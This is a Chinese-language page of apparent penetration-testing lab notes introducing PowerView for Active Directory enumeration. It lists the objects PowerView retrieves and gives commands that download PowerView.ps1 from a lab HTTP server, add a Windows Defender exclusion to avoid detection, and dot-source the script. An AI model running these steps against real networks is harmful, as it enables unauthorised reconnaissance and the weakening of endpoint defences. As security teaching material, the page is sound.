> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/enumeration/powerview.md).

# PowerView

面向 PowerView 的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。

{% embed url="<https://github.com/PowerShellMafia/PowerSploit>" %}

### PowerView 的用途

**PowerView** 是一个用于 Active Directory 枚举的 PowerShell 模块。

具体来说，它允许你检索以下信息：

* 域用户；
* 组；
* 计算机；
* 活动会话；
* 网络共享；
* 组策略对象（GPO）；
* ACL；
* 域控制器；
* 林和域关系。

在本实验中：

* 在 `WS01`，我们使用 **PowerView**;
* 在 `WS02`，我们则使用原生 PowerShell 命令或 Active Directory 模块。

### PowerView 获取

我们从以下位置获取以下脚本： **PowerSploit** 项目：

```bash
PowerSploit/Recon/PowerView.ps1
```

在 Windows 机器上，你可以使用以下命令下载它：

```powershell
iwr -uri "http://172.16.0.2:8000/PowerView.ps1" -OutFile "PowerView.ps1"
```

### Windows Defender 问题

默认情况下， **Windows Defender** 可以阻止 `PowerView.ps1`，因为它通常会被检测为攻击性工具。

在实验环境中，你可以将当前文件夹添加为排除项。

以 PowerShell 管理员身份运行：

```powershell
Add-MpPreference -ExclusionPath (Get-Location).Path
```

然后，我们导入 PowerView：

```powershell
. ./PowerView.ps1
```

点号后跟一个空格会将脚本函数加载到当前 PowerShell 会话中。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a835cd859d78532aefcbf444252a9ac1cdba5b40%2Fimage%20(3195).png?alt=media" alt=""><figcaption></figcaption></figure>


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